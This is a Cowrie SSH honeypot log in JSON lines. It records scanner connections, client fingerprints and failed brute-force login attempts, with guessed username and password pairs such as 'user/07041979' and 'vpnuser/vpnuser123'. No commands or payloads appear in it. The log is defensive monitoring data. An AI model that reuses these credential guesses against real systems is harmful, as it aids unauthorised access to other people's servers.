{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:42.065063Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:42.163823Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07041979","message":"login attempt [user/07041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:42.633523Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07031984","message":"login attempt [user/07031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:43.734005Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07021985","message":"login attempt [user/07021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:44.834267Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06121987","message":"login attempt [user/06121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:45.935605Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06111982","message":"login attempt [user/06111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:47.037010Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:48.139164Z","src_ip":"2.57.121.25","session":"b52327e91c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":57338,"dst_ip":"10.17.0.5","dst_port":22,"session":"558bac9b26cb","protocol":"ssh","message":"New connection: 103.154.77.48:57338 (10.17.0.5:22) [session: 558bac9b26cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:56.740028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:56.743747Z","src_ip":"103.154.77.48","session":"558bac9b26cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:57.005857Z","src_ip":"103.154.77.48","session":"558bac9b26cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"vpnuser123","message":"login attempt [vpnuser/vpnuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:58.078725Z","src_ip":"103.154.77.48","session":"558bac9b26cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:46:59.341411Z","src_ip":"103.154.77.48","session":"558bac9b26cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":52412,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb7c22a75ab","protocol":"ssh","message":"New connection: 92.118.39.95:52412 (159.203.135.109:22) [session: 6eb7c22a75ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:14.461252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:14.484518Z","src_ip":"92.118.39.95","session":"6eb7c22a75ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:14.574313Z","src_ip":"92.118.39.95","session":"6eb7c22a75ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:15.036753Z","src_ip":"92.118.39.95","session":"6eb7c22a75ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:16.174880Z","src_ip":"92.118.39.95","session":"6eb7c22a75ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":53534,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa9af4dee03","protocol":"ssh","message":"New connection: 42.200.78.78:53534 (10.17.0.5:22) [session: 2fa9af4dee03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:22.054302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:22.058484Z","src_ip":"42.200.78.78","session":"2fa9af4dee03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:22.270116Z","src_ip":"42.200.78.78","session":"2fa9af4dee03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prashant","password":"123456","message":"login attempt [prashant/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:23.149983Z","src_ip":"42.200.78.78","session":"2fa9af4dee03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:24.364124Z","src_ip":"42.200.78.78","session":"2fa9af4dee03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55490,"dst_ip":"159.203.135.109","dst_port":22,"session":"917b0f3cb1d1","protocol":"ssh","message":"New connection: 2.57.122.208:55490 (159.203.135.109:22) [session: 917b0f3cb1d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:50.011275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:50.020222Z","src_ip":"2.57.122.208","session":"917b0f3cb1d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:50.156293Z","src_ip":"2.57.122.208","session":"917b0f3cb1d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:50.612955Z","src_ip":"2.57.122.208","session":"917b0f3cb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:51.769728Z","src_ip":"2.57.122.208","session":"917b0f3cb1d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37444,"dst_ip":"159.203.135.109","dst_port":22,"session":"616d6d8c37fc","protocol":"ssh","message":"New connection: 2.57.121.25:37444 (159.203.135.109:22) [session: 616d6d8c37fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:55.376211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:55.380491Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:55.479126Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07041979","message":"login attempt [user/07041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:55.949408Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07031984","message":"login attempt [user/07031984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:57.049977Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"07021985","message":"login attempt [user/07021985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:58.153145Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06121987","message":"login attempt [user/06121987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:47:59.254935Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06111982","message":"login attempt [user/06111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:00.356183Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:01.458787Z","src_ip":"2.57.121.25","session":"616d6d8c37fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":51050,"dst_ip":"10.17.0.5","dst_port":22,"session":"48fd0ae819df","protocol":"ssh","message":"New connection: 20.196.64.198:51050 (10.17.0.5:22) [session: 48fd0ae819df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:10.200089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:10.206600Z","src_ip":"20.196.64.198","session":"48fd0ae819df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:10.391822Z","src_ip":"20.196.64.198","session":"48fd0ae819df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mes","password":"123456","message":"login attempt [mes/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:11.146022Z","src_ip":"20.196.64.198","session":"48fd0ae819df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60744,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b770201f680","protocol":"ssh","message":"New connection: 2.57.122.96:60744 (159.203.135.109:22) [session: 8b770201f680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:11.932053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:11.935573Z","src_ip":"2.57.122.96","session":"8b770201f680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:12.039657Z","src_ip":"2.57.122.96","session":"8b770201f680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:12.336676Z","src_ip":"20.196.64.198","session":"48fd0ae819df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staker","message":"login attempt [ubuntu/staker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:12.350456Z","src_ip":"2.57.122.96","session":"8b770201f680","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:13.490072Z","src_ip":"2.57.122.96","session":"8b770201f680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41820,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ab21078a01f","protocol":"ssh","message":"New connection: 2.57.122.208:41820 (10.17.0.5:22) [session: 2ab21078a01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:48:23.888288Z"}
